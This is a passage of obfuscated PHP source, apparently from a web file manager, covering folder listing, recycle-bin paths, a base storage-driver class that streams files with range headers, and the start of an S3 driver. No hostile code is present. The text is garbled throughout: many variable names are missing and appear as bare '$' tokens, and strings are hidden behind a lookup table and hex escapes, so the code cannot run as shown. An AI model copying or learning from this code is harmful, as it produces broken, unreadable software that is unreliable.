$this->sourceInfo($[0]); $ȕ = is_array($ϯ) ? array($ϯ) : !1; } else { $ȕ = $this->field($[556])->where($պ)->select(); } if (!$ȕ) { $ȕ = array(); } foreach ($ȕ as $) { $Ϝ[$[$[440]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $兽 = array(); foreach ($Բ as &$Ȭ) { $ = $Ȭ[$[549]]; $Ƙ = $[12]; if (isset($兽[$])) { $Ƙ = $兽[$]; } else { $ = $this->parentLevelArray($Ȭ[$[549]]); foreach ($ as $ => $) { if (isset($Ϝ[$])) { $Ƙ .= $Ϝ[$] . $[8]; } } $兽[$] = $Ƙ; } $Ƙ .= $Ȭ[$[32]]; if ($Ȭ[$[448]] == $[88]) { $Ƙ .= $[8]; } $Ȭ[$[547]] = str_replace($[557], $[8], $Ƙ); if ($Ȭ[$[470]] == $[198]) { $Ȭ[$[32]] = trim($Ϝ[$Ȭ[$[440]]], $[8]); $Ȭ[$[547]] = $Ȭ[$[32]] . $[8]; } if (intval($Ȭ[$[449]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($Ȭ, $, $); } } unset($Ȭ); return $Բ; } private function _listAppendPathRecycle(&$, $ŋ, $) { $ށ =& $_SERVER[̧]; if (!in_array($, $ŋ) && $[$ށ[440]] != $) { return; } $õø = explode($ށ[8], trim($[$ށ[547]], $ށ[8])); $֯ = implode($ށ[8], array_slice($õø, 2)); $[$ށ[547]] = $ށ[8] . LNG($ށ[558]) . $ށ[8] . ltrim($֯, $ށ[8]); $[$ށ[549]] = $ށ[559] . implode($ށ[50], array_slice($ŋ, 1)) . $ށ[50]; if ($[$ށ[440]] == $) { $[$ށ[549]] = $ށ[559]; $[$ށ[470]] = $ށ[198]; $[$ށ[32]] = LNG($ށ[558]); } $[$ށ[560]] = $ށ[561]; } protected function _listAppendPathRoot(&$֩, $퇏) { $궘 =& $_SERVER[̧]; static $Ԩ = false; $ނ = $궘[12]; if ($֩[$궘[449]] == self::TYPE_USER) { if ($֩[$궘[534]] == USER_ID) { $ނ = LNG($궘[562]); if ($Ԩ === !1) { $Ԝ = Model($궘[563])->getInfoFull(USER_ID); $Ԩ = _get($Ԝ, $궘[564], $궘[12]); } if ($퇏 && $퇏[0] == $Ԩ || !$퇏 && $֩[$궘[440]] == $Ԩ) { $ނ = LNG($궘[565]); $֩[$궘[566]] = $궘[567]; } if (!$퇏) { $֩[$궘[32]] = $ނ; } } else { $ = Model($궘[542])->getInfoSimple($֩[$궘[534]]); $ނ = LNG($궘[568]) . $궘[162] . $[$궘[32]] . $궘[164]; $֩[$궘[569]] = array($궘[32] => $[$궘[32]], $궘[570] => $[$궘[570]], $궘[571] => $[$궘[571]]); } } else { if ($֩[$궘[449]] == self::TYPE_GROUP) { $ = Model($궘[550])->getInfoSimple($֩[$궘[534]]); $ނ = $[$궘[32]]; } else { if ($֩[$궘[449]] == self::TYPE_SYSTEM) { $ނ = $궘[572]; } } } $ނ = $ނ ? $궘[8] . $ނ . $궘[8] : $궘[8]; return $ނ; } protected function _listAppendUser(&$) { $ =& $_SERVER[̧]; $ߘ = array_to_keyvalue($, $[12], $[492]); $ = array_to_keyvalue($, $[12], $[494]); $ = array_merge($ߘ, $); $ҳ = Model($[563])->userListInfo($); foreach ($ as &$͂뉹) { $˦˨ = $͂뉹[$[492]]; $͂뉹[$[492]] = $ҳ[$˦˨] ? $ҳ[$˦˨] : !1; $˦˨ = $͂뉹[$[494]]; $͂뉹[$[494]] = $ҳ[$˦˨] ? $ҳ[$˦˨] : !1; if (isset($͂뉹[$[504]]) && $͂뉹[$[504]][$[573]]) { $δ = $GLOBALS[$[6]][$[89]][$[574]]; if ($͂뉹[$[504]][$[575]] <= time() - $δ) { $this->metaSet($͂뉹[$[440]], $[573], null); $this->metaSet($͂뉹[$[440]], $[575], null); unset($͂뉹[$[504]][$[573]]); continue; } $ʈ = $͂뉹[$[504]][$[573]]; $͂뉹[$[504]][$[576]] = Model($[563])->getInfoSimpleOuter($ʈ); } } unset($͂뉹); } public function parentLevelArray($،) { $ =& $_SERVER[̧]; $، = explode($[50], trim($،, $[50])); return array_remove_value($،, $[198]); } public function listAll($) { $ɜ =& $_SERVER[̧]; $ҋǰ = $this->sourceInfo($); $ݤ̯ = array($ɜ[577] => array($ɜ[578], $ҋǰ[$ɜ[549]] . $ . $ɜ[579]), $ɜ[580] => 0); $ = $ɜ[581]; $ɫ = "\x4c\x45\106\x54\40\x4a\x4f\x49\116\x20{$this->tablePrefix}\151\x6f\137\x66\x69\154\145\x20\146\x69\154\x65\x20\x6f\156\40\x73\157\165\x72\143\145\x2e\x66\151\x6c\x65\111\104\x20\x3d\40\146\151\154\x65\x2e\146\x69\x6c\145\111\x44"; $ = $this->alias($ɜ[484])->field($)->where($ݤ̯)->join($ɫ)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $ɜ[440]); $᳜ = "\57{$ҋǰ[$ɜ[32]]}\x2f"; $᳜ = $᳜ == $ɜ[557] ? $ɜ[8] : $᳜; $쇣 = array(); foreach ($ as $靾 => $ޕ) { $؇ = $this->parentLevelArray($ޕ[$ɜ[549]]); array_shift($؇); $筗 = $᳜; for ($ٸ = 0; $ٸ < count($؇); $ٸ++) { $筗 .= $[$؇[$ٸ]][$ɜ[32]] . $ɜ[8]; } $筗 .= $ޕ[$ɜ[32]]; if ($ޕ[$ɜ[448]]) { $筗 .= $ɜ[8]; } $ٵ = array($ɜ[459] => str_replace($ɜ[557], $ɜ[8], str_replace($ɜ[557], $ɜ[8], str_replace($ɜ[557], $ɜ[8], $筗))), $ɜ[582] => intval($ޕ[$ɜ[448]]), $ɜ[583] => intval($ޕ[$ɜ[76]]), $ɜ[85] => intval($ޕ[$ɜ[85]]), $ɜ[87] => $this->pathInfoFilter($ޕ)); if (!$ٵ[$ɜ[448]]) { $ٵ[$ɜ[506]] = $ޕ[$ɜ[506]]; } $쇣[] = $ٵ; } $쇣 = array_sort_by($쇣, $ɜ[84]); return $쇣; } } goto a; cʣ: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $Ҕ =& $_SERVER[̧]; $this->objectDriver = array($Ҕ[60], $Ҕ[61], $Ҕ[62], $Ҕ[63], $Ҕ[64], $Ҕ[65], $Ҕ[66], $Ҕ[67], $Ҕ[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[̧][8]); } return $; } public function iconvApp($) { return $; } public function iconvSystem($㳣) { return $㳣; } public function iconvTo($, $, $Ͻ΃) { $ԎЮ =& $_SERVER[̧]; if (!$ || !function_exists($ԎЮ[69])) { return $; } static $֠ = array(); $ըӶ = $ . $ԎЮ[70] . $Ͻ΃ . $ԎЮ[71] . $; if (isset($֠[$ըӶ])) { return $֠[$ըӶ]; } if (function_exists($ԎЮ[72])) { $ = @mb_convert_encoding($, $Ͻ΃, $); } else { $ = @iconv($, $Ͻ΃, $); } $ = $ ? $ : $; if (strstr($, $ԎЮ[73])) { $ = str_replace($ԎЮ[73], $ԎЮ[11], $); } $֠[$ . $ԎЮ[70] . $Ͻ΃ . $ԎЮ[71] . $] = $; $֠[$Ͻ΃ . $ԎЮ[70] . $ . $ԎЮ[71] . $] = $; $֠[$Ͻ΃ . $ԎЮ[70] . $ . $ԎЮ[71] . $] = $; $֠[$ . $ԎЮ[70] . $Ͻ΃ . $ԎЮ[71] . $] = $; return $; } public function getPathInner($) { $Ȟ = IO::init($); return $Ȟ->path; } public function getPathOuter($Ýө) { $ =& $_SERVER[̧]; $ᱭ = strlen(trim($this->pathBase, $[8])); $Ýө = substr(trim($Ýө, $[8]), $ᱭ); return $this->pathDriver . $[8] . ltrim($Ýө, $[8]); } public function isParentOf($, $) { $ =& $_SERVER[̧]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = strpos($, $) === 0; return $; } public function getType() { $߭ =& $_SERVER[̧]; $ҍ = str_replace($߭[74], $߭[12], get_class($this)); return strtolower($ҍ); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($囖, $ʼ) { $ꝉ =& $_SERVER[̧]; $Ө = rtrim($囖, $ꝉ[8]) . $ꝉ[8] . $ʼ; $ = $this->exist($Ө); return $ ? $Ө : !1; } public function setModifyTime($է, $ʍ = '') { } public function renameObject($ҍ, $) { $ϴ = $; $ҍ = $this->getPathOuter($ҍ); $ = $this->pathFather($ҍ) . $; $Ƅ = IO::copy($ҍ, $this->pathFather($ҍ), REPEAT_RENAME_FOLDER, $ϴ); if ($Ƅ) { IO::remove($ҍ); } return $Ƅ ? $ : !1; } public function tempFile($̸ = '', $̿ = '') { if (!$̸) { $̸ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[̧][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ό뿠 = $ . $̸; @touch($ό뿠); if ($̿) { file_put_contents($ό뿠, $̿); } return $ό뿠; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($, $ = '', $늪 = REPEAT_RENAME) { } public function mkdir($, $޹ = REPEAT_SKIP) { } public function delFile($х) { } public function delFolder($) { } public function copyFile($, $ϋ) { } public function moveFile($, $) { } public function remove($Ϲ˙) { if ($this->isFile($Ϲ˙)) { return $this->delFile($Ϲ˙); } return $this->delFolder($Ϲ˙); } public function rename($, $) { } public function exist($ʏ) { } public function findByHash($ = '', $⢽ = '') { return !1; } public function isFile($ɺǃ) { } public function isFolder($) { } public function size($똊) { } public function info($) { } public function infoSimple($ʻ) { return $this->info($ʻ); } public function infoAuth($櫵) { return $this->info($櫵); } public function infoFull($˥ә) { return $this->info($˥ә); } public function infoWithChildren($Ȍ) { $ͦƁ =& $_SERVER[̧]; static $ξ = array(); if (isset($ξ[$Ȍ])) { return $ξ[$Ȍ]; } $ = $this->info($Ȍ); if ($ && $[$ͦƁ[33]] == $ͦƁ[75]) { $ = array($ͦƁ[76] => 0, $ͦƁ[77] => 0, $ͦƁ[78] => 0); $this->infoChildren($Ȍ, $); $[$ͦƁ[76]] = $[$ͦƁ[76]]; $[$ͦƁ[79]] = array($ͦƁ[80] => $[$ͦƁ[77]], $ͦƁ[81] => $[$ͦƁ[78]]); $ξ[$Ȍ] = $; } return $; } public function listPath($䅃, $ˠ = false) { } public function has($, $ڧ = false, $ܚ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($) { } public function setContent($ƥ΀, $ = '') { } protected function infoChildren($, &$Ɯ) { $ܮ =& $_SERVER[̧]; check_abort_echo(); $Ɲ = $this->listPath($, !0); $Ɲ = array_merge($Ɲ[$ܮ[82]], $Ɲ[$ܮ[83]]); foreach ($Ɲ as $) { if ($[$ܮ[33]] == $ܮ[75]) { $Ɯ[$ܮ[78]]++; $ = $this->getPathInner($[$ܮ[84]]); $this->infoChildren($, $Ɯ); } else { $Ɯ[$ܮ[77]]++; $Ɯ[$ܮ[76]] += $[$ܮ[76]]; } } } public function fileSubstr($, $, $ʥ) { } public function listAll($̣) { } public function listAllMake($, &$ʦ) { $ =& $_SERVER[̧]; check_abort_echo(); $ۮ = $this->listPath($, !0); if (!$ۮ) { return; } $ͫ = array_merge($ۮ[$[82]], $ۮ[$[83]]); foreach ($ͫ as $) { $هߵ = $[$[33]] == $[75]; $ڱ = array($[84] => $[$[84]], $[75] => $هߵ); if (isset($[$[76]])) { $ڱ[$[76]] = $[$[76]]; } if (isset($[$[85]])) { $ڱ[$[85]] = $[$[85]]; } if (!$هߵ) { $ʦ[] = $ڱ; continue; } $ʦ[] = $ڱ; $ɤ = $[$[84]]; $ʘ = $this->pathDriver; if (substr($[$[84]], 0, strlen($ʘ)) == $ʘ) { $ɤ = substr($ɤ, strlen($ʘ)); } $this->listAllMake($ɤ, $ʦ); } } public function listAllSimple($, $ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $); } public function listAllSimpleMake($೻, $糆, $砬) { $Լ =& $_SERVER[̧]; $ǝ = array(); $糆 = rtrim(get_path_father($糆), $Լ[8]) . $Լ[8]; foreach ($೻ as $ɺ) { $֊ = array($Լ[84] => $ɺ[$Լ[84]], $Լ[86] => $ɺ[$Լ[84]], $Լ[75] => $ɺ[$Լ[75]]); if (isset($ɺ[$Լ[76]]) && !$ɺ[$Լ[75]]) { $֊[$Լ[76]] = $ɺ[$Լ[76]]; } if (isset($ɺ[$Լ[85]])) { $֊[$Լ[85]] = $ɺ[$Լ[85]]; } if (is_array($ɺ[$Լ[87]])) { $֊[$Լ[86]] = $ɺ[$Լ[87]][$Լ[84]]; $֊[$Լ[76]] = $ɺ[$Լ[87]][$Լ[76]]; $֊[$Լ[85]] = $ɺ[$Լ[87]][$Լ[85]]; } else { if (substr($ɺ[$Լ[84]], 0, strlen($糆)) == $糆) { $֊[$Լ[84]] = substr($ɺ[$Լ[84]], strlen($糆)); } } $ = $ɺ[$Լ[75]] ? $Լ[8] : $Լ[12]; $֊[$Լ[86]] = rtrim($֊[$Լ[86]], $Լ[8]) . $; $֊[$Լ[84]] = $Լ[8] . trim($֊[$Լ[84]], $Լ[8]) . $; if (!$砬) { $Ӥ섙 = explode($Լ[8], trim($֊[$Լ[84]], $Լ[8])); $֊[$Լ[84]] = $Լ[8] . implode($Լ[8], array_slice($Ӥ섙, 1)) . $; } $ǝ[] = $֊; } return array_sort_by($ǝ, $Լ[84]); } public function upload($, $マ, $ƿ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ܥᶓ, $, $) { } public function uploadFileByPath($ӧ, $۵, $۽ = array()) { } public function isUploadServer() { $ו =& $_SERVER[̧]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $ו[88]) { return !0; } return $GLOBALS[$ו[6]][$ו[89]][$ו[90]]; } public function isFileOutServer() { $ƽ =& $_SERVER[̧]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $ƽ[88]) { return !0; } return $GLOBALS[$ƽ[6]][$ƽ[89]][$ƽ[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ =& $_SERVER[̧]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($, $Ϡ = 0) { $α =& $_SERVER[̧]; if ($this->isUploadServer()) { return; } $̴ = $this->getType(); if (!in_array($̴, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $膽 = 1024 * 1024 * 10; $ = $Ϡ <= $膽 ? $α[92] : $α[93]; $ = (!$Ϡ ? 1 : ceil($Ϡ / pow(1024, 3))) * 3600 * 4; $ȅ = $this->{$}($, $); if ($ȅ) { $ȅ[$α[94]] = $; $ȅ[$α[95]] = $̴; } return $ȅ; } public function uploadFormData($, $͙ = 3600) { } public function multiUploadFormData($ѷ, $͖ = 3600) { } public function download($п, $䲼) { } public function ext($) { $ =& $_SERVER[̧]; if (strpos($, $[8]) === -1) { $㜊 = $; } else { $㜊 = $this->pathThis($); } $Î = $[12]; if (strstr($㜊, $[10])) { $Î = substr($㜊, strrpos($㜊, $[10]) + 1); $Î = strtolower($Î); } if (strlen($Î) > 3 && preg_match($[96], $Î, $ݦ˖)) { $Î = $[12]; } return $Î; } public function pathThis($ۇ) { $ =& $_SERVER[̧]; $ۇ = str_replace($[97], $[8], rtrim($ۇ, $[8])); $ْ = strrpos($ۇ, $[8]); if ($ْ === !1) { return $ۇ; } return substr($ۇ, $ْ + 1); } public function pathFather($񡷊) { $ī =& $_SERVER[̧]; $񡷊 = str_replace($ī[97], $ī[8], rtrim($񡷊, $ī[8])); $ط = strrpos($񡷊, $ī[8]); if ($ط === !1) { return $ī[12]; } return substr($񡷊, 0, $ط + 1); } public function hashSimple($㱜顬) { $ο =& $_SERVER[̧]; if (!$㱜顬) { return md5($ο[12]); } $Д = $this->size($㱜顬); $ÿ = 200; $ă = 50; if ($Д <= $ÿ * $ă) { return $this->hashMd5($㱜顬) . $Д; } $ܙﺏ = intval($Д / $ă); $䈓 = $ο[12]; for ($ = 0; $ < $ă; $++) { $䈓 .= $this->fileSubstr($㱜顬, $ܙﺏ * $, $ÿ); } $䈓 .= $this->fileSubstr($㱜顬, $Д - $ÿ, $ÿ); return md5($䈓) . $Д; } public static $md5Cache = array(); public function hashMd5($ٕŤ) { if (!$ٕŤ) { return md5($_SERVER[̧][12]); } $ٕŤ = $this->iconvSystem($ٕŤ); if (isset(self::$md5Cache[$ٕŤ])) { return self::$md5Cache[$ٕŤ]; } self::$md5Cache[$ٕŤ] = $this->hashMd5Shell($ٕŤ); if (!self::$md5Cache[$ٕŤ]) { self::$md5Cache[$ٕŤ] = @md5_file($ٕŤ); } return self::$md5Cache[$ٕŤ]; } private function hashMd5Shell($) { $榃 =& $_SERVER[̧]; if (!$) { return md5($榃[12]); } if (!function_exists($榃[98])) { return !1; } $ח = array($榃[99], $榃[100]); $ = Cache::get($榃[101]); if (!$) { $܃ = BASIC_PATH . $榃[102]; $ = md5_file($܃); $ = $榃[103]; foreach ($ח as $) { $ = shell_exec($ . "\40\42{$܃}\42"); if ($ && substr(trim($), 0, 32) == $) { $ = $; break; } } Cache::set($榃[101], $, 3600); } if ($ == $榃[103]) { return !1; } $ = shell_exec($ . "\x20\42{$}\x22"); $ = str_replace($榃[104], $榃[12], $); return substr($, 0, 32); } public function link($̻į) { return $̻į; } public function fileOut($۝, $ = false, $흴 = false, $ԭ҄ = '') { $׏̩ =& $_SERVER[̧]; $this->cacheMethod(null, null); if (!$۝ || !$this->exist($۝)) { show_json(LNG($׏̩[105]), !1, $흴); } $ա = $this->getType() == $׏̩[106]; $ = $GLOBALS[$׏̩[6]][$׏̩[89]][$׏̩[107]][$׏̩[108]]; $ = (double) $GLOBALS[$׏̩[6]][$׏̩[89]][$׏̩[107]][$׏̩[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($۝); $Ҋ = $[$׏̩[76]]; $ = gmdate($׏̩[110], $[$׏̩[85]]); $ = $흴 ? $흴 : $this->iconvApp($[$׏̩[32]]); $ꒉ = 0; $ȩ = $Ҋ - 1; $Ւ = $this->ext($); if (in_array($Ւ, array($׏̩[111], $׏̩[112], $׏̩[113], $׏̩[114]))) { $Ւ = $׏̩[115]; } if (in_array($Ւ, array($׏̩[116]))) { $Ւ = $׏̩[117]; } if (!$ԭ҄) { $ԭ҄ = md5($ . $this->hashSimple($۝)); } $ԭ҄ = $׏̩[118] . $ԭ҄ . $׏̩[118]; $ĠѾ = get_file_mime($Ւ); $ = !0; $ = isset($_GET[$׏̩[119]]) ? !1 : !0; if ($ === !1 && !mime_support($ĠѾ)) { $ĠѾ = $׏̩[120]; } header($׏̩[121]); header($׏̩[122] . $ĠѾ); $ = rawurlencode($); $ = $׏̩[118] . $ . $׏̩[123] . $; if ($) { header($׏̩[124]); header($׏̩[125] . $); } else { if ($) { header($׏̩[126] . $); } } header($׏̩[127] . gmdate($׏̩[110], time() + 3600 * 24 * 30) . $׏̩[128]); header($׏̩[129]); header($׏̩[130]); header($׏̩[131]); if (isset($_SERVER[$׏̩[132]]) && strtotime($_SERVER[$׏̩[132]]) == $[$׏̩[85]]) { header($׏̩[133], !0, 304); die; } if (isset($_SERVER[$׏̩[134]]) && $_SERVER[$׏̩[134]] == $ԭ҄) { header($׏̩[135] . $ԭ҄, !0, 304); die; } header($׏̩[135] . $ԭ҄); header($׏̩[136] . $ . $׏̩[128]); header($׏̩[137] . $); header($׏̩[138]); header($׏̩[139] . $Ҋ); header($׏̩[140]); if (!$ && $Ւ == $׏̩[141]) { if ($Ҋ > 1024 * 1024 * 5) { die; } $ = $this->getContent($۝); $ = Html::clearSVG($); header($׏̩[142] . strlen($)); echo $; die; } $М = strtolower($_SERVER[$׏̩[143]]); if ($ա && $М && $) { if (strstr($М, $׏̩[144])) { header($׏̩[145] . $۝); } else { if (strstr($М, $׏̩[146])) { header($׏̩[147] . $۝); } else { if (strstr($М, $׏̩[148])) { header($׏̩[149] . $۝); } } } if ($) { header($׏̩[150] . $); } return; } if (isset($_SERVER[$׏̩[151]])) { if (preg_match($׏̩[152], $_SERVER[$׏̩[151]], $҆)) { $ꒉ = intval($҆[1]); $ꒉ = $ꒉ <= 0 ? 0 : ($ꒉ >= $ȩ ? $ȩ : $ꒉ); if (!empty($҆[2])) { $ƽ = intval($҆[2]); $ȩ = $ƽ < $ꒉ ? $ꒉ : ($ƽ >= $ȩ ? $ȩ : $ƽ); } } header($׏̩[153]); header("\103\x6f\x6e\164\x65\156\164\x2d\x52\141\156\147\145\72\40\142\171\164\x65\x73\x20{$ꒉ}\55{$ȩ}\57" . $Ҋ); } else { header($׏̩[154]); } header($׏̩[155]); $Ŧ = !0; if ($_SERVER[$׏̩[156]] == $׏̩[157] && $Ҋ > 1204 * 1024 * 1024 * 2) { $Ŧ = !1; } if ($Ŧ) { header($׏̩[158] . ($ȩ - $ꒉ + 1)); } if ($_SERVER[$׏̩[159]] == $׏̩[160]) { return; } $ = 1024 * 100; $ǐá = 0; if ($) { $ǐá = intval(1000 * 1000 * ($ / $)); } while ($ꒉ <= $ȩ) { $ = timeFloat(); check_abort(); $ÄƇ = $ȩ - $ꒉ + 1; if ($ÄƇ <= $) { $ = $ÄƇ; } echo $this->fileSubstr($۝, $ꒉ, $); $ꒉ += $; if ($ == $ÄƇ) { $ꒉ = $ȩ + 1; } if ($ǐá) { $핞 = intval(1000 * 1000 * (timeFloat() - $)); $ = $ǐá - $핞; if ($ > 5) { usleep($); } } } } public function fileOutServer($З, $֮ = false, $Т㨊 = false, $ۘц = '') { $this->fileOut($З, $֮, $Т㨊, $ۘц); } public function fileOutLink($˓) { header($_SERVER[̧][161] . $˓); die; } public function cacheMethod($ȩ, $Ї۸, $׏ = null) { $Ο =& $_SERVER[̧]; static $ = array(); $Ԥ = $Ї۸ ? ltrim($this->getPathOuter($Ї۸), $Ο[8]) : $Ο[12]; $߽ = $Ο[162] . $ȩ . $Ο[163] . rtrim($Ԥ, $Ο[8]); if (is_null($ȩ)) { $ = array(); return; } if (is_null($Ї۸)) { foreach ($ as $߽ => $ֆ) { if (!strstr($߽, $Ο[162] . $ȩ . $Ο[164])) { continue; } unset($[$߽]); } return; } if (!is_null($׏)) { $[$߽] = $׏; return; } $׮· = isset($[$߽]) ? $[$߽] : null; if (!is_null($׮·)) { return $׮·; } $׮· = $this->{$ȩ}($Ї۸); $[$߽] = $׮·; return $׮·; } public function cacheMethodInfoSet($, $ٝ뚫, $ = false) { $ =& $_SERVER[̧]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $, $ٝ뚫); $this->cacheMethod($[166], $, $ٝ뚫 ? !1 : !0); if (is_array($)) { $this->cacheMethod($[167], $, $); } } public function fileOutImage($, $ۛ = 250) { $ =& $_SERVER[̧]; set_timeout(); if (substr($, 0, 4) == $[148]) { $this->fileOutLink($); } $ = $this->info($); $ = $[$[32]]; $耋 = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $[$[84]]) { $ = $GLOBALS[$[168]][$[169]]; if (!$[$[170]]) { $[$[170]] = $GLOBALS[$[168]]; } if (isset($[$[171]])) { if ($[$[171]] <= $ۛ && $[$[172]] <= $ۛ) { $耋 = !0; } } $ = $[$[170]][$[32]]; } if ($[$[76]] <= 1024 * 50 || $耋 || !function_exists($[173]) || $[$[174]] == $[175]) { return $this->fileOut($, !1, $); } if (isset($[$[170]][$[176]])) { $ = $[$[170]][$[176]]; } else { if (isset($[$[170]][$[177]])) { $ = $[$[170]][$[177]]; } } if (!$) { $ = md5("{$[$[32]]}\137{$[$[84]]}\137{$[$[76]]}\137{$ۛ}"); } $ޯ = "{$}\137{$ۛ}\x2e\x70\156\x67"; if (!($ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $ȿ䒱 = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $ȿ䒱 = KodIO::make($); } if ($ = IO::fileNameExist($ȿ䒱, $ޯ)) { $֗޳ = KodIO::make($); return IO::fileOut($֗޳, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $֗޳ = DATA_THUMB . $ޯ; del_file($֗޳); if (!@file_exists($֗޳)) { $ = TEMP_FILES; if (!is_dir($)) { mk_dir($); } $ = $ . $ . $[10] . $[$[174]]; if (!@file_exists($)) { $ = $this->download($, $); } ImageThumb::createThumb($, $֗޳, $ۛ, $ۛ * 10); } if (!file_exists($֗޳) || filesize($֗޳) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($); } if (!($٢ܑ = IO::move($֗޳, $ȿ䒱))) { return IO::fileOut($֗޳); } del_file($֗޳); IO::fileOut($٢ܑ); } public function fileOutImageServer($, $‰ = 250) { $this->fileOutImage($, $‰); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ț = false) { $ =& $_SERVER[̧]; $җ = $ === $[12] ? $ : rtrim($, $[8]) . $[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($җ) || $ț && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $í = $[10] . get_path_ext($); $í = $í == $[10] || $ț ? $[12] : $í; $ = 1; $؟ = substr($, 0, strlen($) - strlen($í)); $ۋ = $؟ . "\x28{$}\x29{$í}"; while ($this->exist(rtrim($, $[8]) . $[8] . $ۋ)) { $ۋ = $؟ . "\50{$}\x29{$í}"; $++; } return $ۋ; } private function fileNameAutoList($, $ɸ, $篱؃ = false) { $܃ =& $_SERVER[̧]; $驳 = $this->listPath($, !0); $驳 = array_merge($驳[$܃[82]], $驳[$܃[83]]); $ = array_to_keyvalue($驳, $܃[12], $܃[32]); $Ж = $܃[10] . get_path_ext($ɸ); $Ж = $Ж == $܃[10] || $篱؃ ? $܃[12] : $Ж; $ņ = substr($ɸ, 0, strlen($ɸ) - strlen($Ж)); $ː = $ņ . "\x28\x30\x29{$Ж}"; for ($ܡ = 1; $ܡ <= count($) + 1; $ܡ++) { $ː = $ņ . "\x28{$ܡ}\51{$Ж}"; if (!in_array_not_case($ː, $)) { return $ː; } } return $ː; } public function listAllFiles($̞, $) { $Ҿ =& $_SERVER[̧]; if (empty($)) { return array(); } $ = array_keys($); $ث = array(); $̞ = trim($̞, $Ҿ[8]); foreach ($ as $ʴ => $ڣ) { $ = ltrim(substr(trim($ʴ, $Ҿ[8]), strlen($̞)), $Ҿ[8]); if (substr($ʴ, -1) == $Ҿ[8]) { $ = rtrim($, $Ҿ[8]) . $Ҿ[8]; } $ث = array_merge($ث, $this->slicePath($)); } $؃ = array(); foreach (array_unique($ث) as $ثނ) { $ = array($Ҿ[84] => $this->getPathOuter($Ҿ[8] . $̞ . $Ҿ[8] . $ثނ), $Ҿ[75] => 1, $Ҿ[76] => 0); if (substr($ثނ, -1) != $Ҿ[8]) { $[$Ҿ[75]] = 0; $ = $this->getPath($̞ . $Ҿ[8] . $ثނ); if (isset($[$])) { $ = $[$]; if (isset($[$Ҿ[76]])) { $[$Ҿ[76]] = intval($[$Ҿ[76]]); } if (isset($[$Ҿ[180]])) { $[$Ҿ[85]] = intval($[$Ҿ[180]]); } } } $؃[] = $; } return $؃; } public function slicePath($) { $ =& $_SERVER[̧]; $ɥ = explode($[8], trim($, $[8])); $ԩ = 0; do { ++$ԩ; $ہ[] = implode($[8], array_slice($ɥ, 0, $ԩ)) . $[8]; } while ($ԩ < count($ɥ)); $ہ[count($ɥ) - 1] = $; return $ہ; } public function getHost() { $ =& $_SERVER[̧]; $ٮ = parse_url(trim($this->domain, $[8])); $ʀ = isset($ٮ[$[181]]) ? $ٮ[$[181]] : http_type(); $ = isset($ٮ[$[182]]) ? $ٮ[$[182]] : $ٮ[$[84]]; if (isset($ٮ[$[183]])) { $ .= $[4] . $ٮ[$[183]]; } return $ʀ . $[184] . $; } public function pathEncode($ʡ) { $ =& $_SERVER[̧]; return str_replace($[185], $[8], rawurlencode($ʡ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($ߣ) { set_timeout(); require_once SDK_DIR . $_SERVER[̧][186]; parent::__construct(); $this->_init($ߣ); } public function _init($) { $this->config = $; foreach ($ as $Փ => $ݸ) { if (isset($this->{$Փ})) { $this->{$Փ} = $ݸ; } } $this->endpoint = $[$_SERVER[̧][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($УƘ = "\x76\64") { $this->signVer = $УƘ; $this->client->setSignatureVersion($УƘ); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ =& $_SERVER[̧]; $„ = $this->getBucketCors(); if (!$„ || !is_array($„)) { return !1; } if ($„[$[188]] != $[189] || $„[$[190]] != $[189]) { return !1; } $Ǟ = array_map($[191], $„[$[192]]); if (!is_array($Ǟ)) { $Ǟ = array(); } $ֿɐ = array($[193], $[194], $[195], $[196], $[197]); $ӕ = array_diff($ֿɐ, $Ǟ); return empty($ӕ); } public function mkfile($ى, $ٖ = '', $͊ = REPEAT_RENAME) { $Ѫ = $this->setContent($ى, $ٖ); if ($Ѫ !== !1) { return 